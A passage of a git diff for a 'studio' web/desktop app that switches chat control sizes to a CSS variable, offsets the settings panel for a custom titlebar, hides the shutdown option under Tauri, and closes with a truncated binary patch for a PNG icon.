                 used={contextUsage.totalTokens}
@@ -2484,7 +2503,7 @@ export function ChatPage({
                 cacheWrites={contextUsage.cacheWriteTokens}
                 promptTokens={contextUsage.promptTokens}
                 completionTokens={contextUsage.completionTokens}
-                className="h-[34px]"
+                className="h-[var(--studio-chat-control-height,34px)]"
               />
             ) : null}
             {view.mode === "single" && (
@@ -2494,7 +2513,7 @@ export function ChatPage({
                     type="button"
                     onClick={toggleIncognito}
                     className={cn(
-                      "flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                      "flex size-[var(--studio-chat-control-height,34px)] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                       incognito
                         ? "bg-primary/10 text-primary hover:bg-primary/15"
                         : "text-nav-fg hover:bg-nav-surface-hover hover:text-black dark:hover:text-white",
@@ -2524,7 +2543,7 @@ export function ChatPage({
                   <button
                     type="button"
                     onClick={() => setSettingsOpen(true)}
-                    className="flex h-[34px] w-[34px] translate-x-[2px] cursor-pointer items-center justify-center rounded-full text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    className="flex size-[var(--studio-chat-control-height,34px)] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                     aria-label="Open run settings"
                   >
                     <HugeiconsIcon
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index bc73e1ddf2..f5136e0181 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -1783,7 +1783,14 @@ export function ChatSettingsPanel({
   return (
     <aside
       data-tour="chat-settings"
-      className={`relative z-50 shrink-0 h-full overflow-hidden bg-panel-surface text-panel-surface-fg font-heading ${open ? "w-[17rem] border-l border-sidebar-border" : "w-0"}`}
+      className={cn(
+        "relative z-50 shrink-0 overflow-hidden bg-panel-surface text-panel-surface-fg font-heading",
+        open ? "w-[17rem] border-l border-sidebar-border" : "w-0",
+      )}
+      style={{
+        height: "calc(100% - var(--studio-custom-titlebar-height, 0px))",
+        marginTop: "var(--studio-custom-titlebar-height, 0px)",
+      }}
     >
       <div className="h-full w-full">{settingsContent}</div>
     </aside>
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index 084a3ab5b6..ff751e3cd6 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -250,29 +250,33 @@ export function AboutTab() {
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.about.dangerZone")}>
-        <SettingsRow
-          destructive={true}
-          label={t("settings.about.shutDownStudio")}
-          description={t("settings.about.shutDownStudioDescription")}
-        >
-          <Button
-            variant="outline"
-            size="sm"
-            onClick={() => setShutdownOpen(true)}
-            className="text-destructive hover:text-destructive hover:border-destructive/60"
+      {!isTauri && (
+        <SettingsSection title={t("settings.about.dangerZone")}>
+          <SettingsRow
+            destructive={true}
+            label={t("settings.about.shutDownStudio")}
+            description={t("settings.about.shutDownStudioDescription")}
           >
-            <HugeiconsIcon icon={Cancel01Icon} className="size-3.5 mr-1.5" />
-            {t("settings.about.shutDown")}
-          </Button>
-        </SettingsRow>
-      </SettingsSection>
+            <Button
+              variant="outline"
+              size="sm"
+              onClick={() => setShutdownOpen(true)}
+              className="text-destructive hover:text-destructive hover:border-destructive/60"
+            >
+              <HugeiconsIcon icon={Cancel01Icon} className="size-3.5 mr-1.5" />
+              {t("settings.about.shutDown")}
+            </Button>
+          </SettingsRow>
+        </SettingsSection>
+      )}
 
-      <ShutdownDialog
-        open={shutdownOpen}
-        onOpenChange={setShutdownOpen}
-        onAfterShutdown={removeTrainingUnloadGuard}
-      />
+      {!isTauri && (
+        <ShutdownDialog
+          open={shutdownOpen}
+          onOpenChange={setShutdownOpen}
+          onAfterShutdown={removeTrainingUnloadGuard}
+        />
+      )}
     </div>
   );
 }
diff --git a/studio/src-tauri/icons/128x128.png b/studio/src-tauri/icons/128x128.png
index c1dae04e6dfaf806cbbb4dc6ea25c1e38276f07e..bfa6e735838d3c5b928d93433e72a4e9377b5a12 100644
GIT binary patch
literal 10181
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
